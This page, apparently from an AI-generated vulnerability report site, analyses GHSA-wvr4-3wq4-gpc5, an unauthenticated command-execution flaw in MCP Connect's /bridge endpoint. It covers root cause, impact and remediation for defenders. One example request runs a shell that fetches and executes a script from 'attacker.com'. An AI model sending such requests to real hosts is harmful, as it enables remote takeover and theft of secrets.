CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



GHSA-WVR4-3WQ4-GPC5

GHSA-wvr4-3wq4-gpc5: Unauthenticated Remote Code Execution in MCP Connect /bridge Endpoint

Amit Schendel
Amit Schendel
Senior Security Researcher

Mar 19, 2026·6 min read·55 visits

Executive Summary (TL;DR)

A critical unauthenticated RCE flaw in MCP Connect allows attackers to execute arbitrary system commands by exploiting an unprotected /bridge endpoint. The vulnerability stems from an insecure default configuration where authentication tokens are not required.

EvalsOne MCP Connect suffers from a critical unauthenticated remote code execution vulnerability (GHSA-wvr4-3wq4-gpc5). An insecure default configuration allows remote attackers to bypass authentication and execute arbitrary operating system commands via the /bridge endpoint.

Vulnerability Overview

MCP Connect operates as an HTTP gateway designed to bridge cloud-based AI services with local Model Context Protocol (MCP) servers. The architecture relies on standard input/output (stdio) communication between the gateway and the local MCP instances. The application provides two operational modes: a streamable HTTP mode and a classic HTTP bridge mechanism.

The vulnerability, tracked as GHSA-wvr4-3wq4-gpc5, is located within the /bridge HTTP endpoint. This specific endpoint is responsible for relaying incoming network requests directly to the local MCP servers. To facilitate this communication, the application dynamically spawns local subprocesses based on the parameters provided in the incoming HTTP request.

The core security failure stems from the application's default authentication posture. The system is designed to enforce authentication only if the AUTH_TOKEN and ACCESS_TOKEN environment variables are explicitly defined by the administrator. In the default configuration, these variables are unset, resulting in a completely unauthenticated /bridge endpoint.

Root Cause Analysis

The root cause is a combination of an insecure default configuration (CWE-1188) and subsequent OS command injection (CWE-78). The application employs a fail-open authentication model in its default state. When the AUTH_TOKEN and ACCESS_TOKEN environment variables are absent, the middleware responsible for validating the Authorization HTTP header permits the request to proceed to the core routing logic.

Once the unauthenticated request reaches the /bridge endpoint controller, the application extracts configuration parameters from the request payload. These parameters are intended to specify the legitimate MCP server binary and its associated runtime arguments. The application then passes these unsanitized parameters directly to the underlying operating system's process execution API.

Because the system allows the requester to define the binary path and arguments, an attacker is not restricted to executing legitimate MCP servers. The attacker can specify standard system shells (such as /bin/sh or cmd.exe) and pass arbitrary commands as arguments. The lack of input validation on the execution path transforms a designated feature into a direct vector for arbitrary code execution.

Code Analysis and Execution Flow

The vulnerable execution flow is structurally tied to the application's environment variable evaluation and subsequent subprocess creation. The vulnerable sequence begins in the authentication middleware. The logic checks for the existence of the expected environment variables before validating the token, effectively bypassing the security control when the variables are undefined.

Following the authentication bypass, the payload is parsed. The expected JSON payload contains keys defining the target executable and its runtime arguments. The application extracts these values and uses them to instantiate a new subprocess. This mechanism is fundamentally unsafe when exposed to untrusted input, as it lacks an absolute path restriction or a strict allowlist of permitted MCP server binaries.

The remediation involves enforcing a strict check for the authentication tokens. The application must mandate the presence of AUTH_TOKEN and ACCESS_TOKEN environment variables during startup, or default to a secure state that rejects all incoming requests if the configuration is incomplete. This ensures that the /bridge endpoint cannot be accessed anonymously under any circumstances.

Exploitation Methodology

Exploitation of GHSA-wvr4-3wq4-gpc5 is straightforward and requires no prior access or specialized network positioning, provided the MCP Connect instance is network-accessible. The attacker initiates the exploitation sequence by performing discovery. This involves scanning for the service and sending a test request to the /bridge endpoint without an Authorization header to observe the HTTP response code.

A non-error response indicates that the endpoint is operating in its vulnerable, unauthenticated state. The attacker then crafts a malicious HTTP POST request. The body of this request is formatted to match the expected schema for an MCP server invocation, but the executable path is replaced with a system shell, and the arguments contain the malicious payload.

POST /bridge HTTP/1.1
Host: target-mcp-connect.local
Content-Type: application/json
 
{
  "command": "/bin/sh",
  "args": ["-c", "curl http://attacker.com/shell.sh | sh"]
}

Upon receiving this payload, the application spawns the requested shell executable and processes the attacker's arbitrary commands. The process is executed within the operational context of the application itself.

System Impact Assessment

The impact of this vulnerability is total system compromise. The attacker achieves arbitrary remote code execution with the exact privileges of the user running the MCP Connect application. In environments where the application is executed as an administrative user, this leads directly to complete host takeover.

Even when executed with least-privilege principles, the attacker gains persistent access to the host environment. The attacker can read local files, exfiltrate sensitive data, and extract environment variables. Given the context of MCP Connect, these environment variables frequently contain high-value secrets, such as API keys for OpenAI, Anthropic, or other integrated cloud-based AI services.

Furthermore, the compromised host can be utilized as a pivot point. The attacker can leverage the host's internal network access to scan for and exploit adjacent services that are not exposed to the public internet. The CVSS v3.1 base score of 9.8 accurately reflects the low attack complexity, network vector, and high impact across all confidentiality, integrity, and availability metrics.

Remediation and Mitigation Guidance

Immediate remediation requires reconfiguring the MCP Connect deployment to enforce authentication. Administrators must define both the AUTH_TOKEN and ACCESS_TOKEN environment variables before starting the service. This configuration change activates the authentication middleware, ensuring that all requests to the /bridge endpoint must carry a valid bearer token.

In addition to configuration changes, organizations must apply network access controls. The MCP Connect service should not be exposed directly to the public internet unless absolutely necessary. Access should be restricted via firewalls, security groups, or VPNs, limiting connectivity strictly to trusted upstream cloud providers or internal IP ranges.

Organizations should enforce the principle of least privilege. The application must be executed under a dedicated service account with minimal filesystem and operating system permissions. Administrators should monitor HTTP access logs for unexpected POST requests to the /bridge endpoint and alert on any subprocess creation events originating from the MCP Connect service account that deviate from known good MCP server binaries.

Technical Appendix

CVSS Score
9.8/ 10
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Affected Systems

EvalsOne/MCP-connect

Affected Versions Detail

Product
Affected Versions
Fixed Version
MCP-connect
EvalsOne
< latest-
AttributeDetail
CWE IDCWE-78 (OS Command Injection) / CWE-1188 (Insecure Default)
Attack VectorNetwork
CVSS v3.19.8 (Critical)
Authentication RequiredNone (in default state)
ImpactArbitrary Remote Code Execution
Exploit StatusProof of Concept Available

MITRE ATT&CK Mapping

T1190Exploit Public-Facing Application
Initial Access
T1059Command and Scripting Interpreter
Execution
CWE-78
OS Command Injection

Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

Vulnerability Timeline

Vulnerability Disclosed via GitHub Advisory Database
2025-02-01

References & Sources

  • [1]GitHub Advisory: GHSA-wvr4-3wq4-gpc5
  • [2]Project Repository: EvalsOne/MCP-connect
  • [3]Security Advisory: GHSA-wvr4-3wq4-gpc5

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•29 minutes ago•CVE-2026-16729
4.8

CVE-2026-16729: Cookie Attribute Injection in Undici via Unsanitized Domain and Unparsed Fields

CVE-2026-16729 (GHSA-v3r7-h72x-cjcm) is a medium-severity cookie attribute injection vulnerability in Undici's web-compliant cookie utility module. Due to insufficient validation of domain parameters and raw attributes in the unparsed options array, arbitrary attributes like SameSite, HttpOnly, and Secure can be injected. This allows attackers to bypass CSRF protections, strip security flags, or override intended cookie behaviors when applications pass user-controlled values to these properties.

Amit Schendel
Amit Schendel
0 views•7 min read
•about 1 hour ago•CVE-2026-14643
5.9

CVE-2026-14643: Shared Cache Pollution and Information Disclosure via Whitespace Parsing Discrepancies in Undici

An interpretation conflict (CWE-436) in the cache interceptor of the undici HTTP client for Node.js causes whitespace-padded Cache-Control directives to be parsed incorrectly, leading to shared cache pollution and the unauthorized disclosure of sensitive, private, or authenticated user information (CWE-524).

Amit Schendel
Amit Schendel
1 views•6 min read
•about 2 hours ago•CVE-2026-15157
4.2

CVE-2026-15157: CRLF Injection in undici HTTP/1.1 Dispatcher

CVE-2026-15157 details an improper neutralization of CRLF sequences ('CRLF Injection') within undici, a widely used Node.js HTTP/1.1 client. The vulnerability is triggered when processing request bodies that exhibit a duck-typed blob-like interface. When an application accepts untrusted data and assigns it to the .type property of such an object without setting an explicit Content-Type on the request, undici appends the value directly to the outgoing headers array without validating it against control characters. This allows remote attackers to inject carriage return and line feed sequences, culminating in arbitrary header injection, HTTP response splitting, or HTTP request smuggling.

Alon Barad
Alon Barad
3 views•6 min read
•about 3 hours ago•CVE-2026-54272
6.9

CVE-2026-54272: SSRF and Trust-Boundary Bypass via Input Misclassification in ip-address Library

A trust-boundary bypass and Server-Side Request Forgery (SSRF) vulnerability exists in the ip-address library versions 10.1.1 through 10.2.0 due to structural input misclassification. The library fails to resolve and normalize transition IP notations, such as IPv4-mapped IPv6 (::ffff:0:0/96) and NAT64 (64:ff9b::/96) addresses, to their embedded IPv4 representations prior to evaluation. Consequently, standard security validation checks (e.g., isLoopback, isLinkLocal, isULA) return false for these addresses. This allows remote attackers to bypass application-level IP address filters, gaining unauthorized access to internal resources, cloud metadata interfaces, and local services on dual-stack hosts or environments utilizing NAT64 gateways.

Amit Schendel
Amit Schendel
2 views•7 min read
•about 4 hours ago•CVE-2026-18574
9.3

CVE-2026-18574: Authentication Bypass via Alternate Path in Check Point Security Management Server

A critical authentication bypass vulnerability (CVE-2026-18574) in Check Point Security Management and Multi-Domain Security Management (MDS) Servers allows unauthenticated remote attackers to execute arbitrary system commands with administrative privileges. The flaw stems from an alternate path authentication bypass (CWE-288) in the management interface daemons.

Amit Schendel
Amit Schendel
8 views•6 min read
•about 4 hours ago•CVE-2026-69198
6.9

CVE-2026-69198: Server-Side Request Forgery Bypass via CIDR Suffix in ip-address Library

An input validation vulnerability in the npm package `ip-address` allows unauthenticated remote attackers to bypass Server-Side Request Forgery (SSRF) protections by appending a `/0` CIDR suffix to IP address strings. This causes the library's classification helper functions to incorrectly identify internal addresses as public, external addresses, while normalization helpers resolve the address back to its internal form during network connection establishment.

Amit Schendel
Amit Schendel
3 views•6 min read